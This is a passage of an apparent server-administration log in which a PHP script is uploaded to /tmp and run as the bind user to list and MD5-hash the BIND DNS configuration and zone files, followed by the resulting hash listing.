		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 18:17:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp364699; rm /tmp/pkp364699'

2026-04-24 18:17:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 18:18:01: Establishing a connection
2026-04-24 18:18:01: 

PUT: /tmp/pkp341773

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 18:18:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp341773; rm /tmp/pkp341773'

2026-04-24 18:18:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
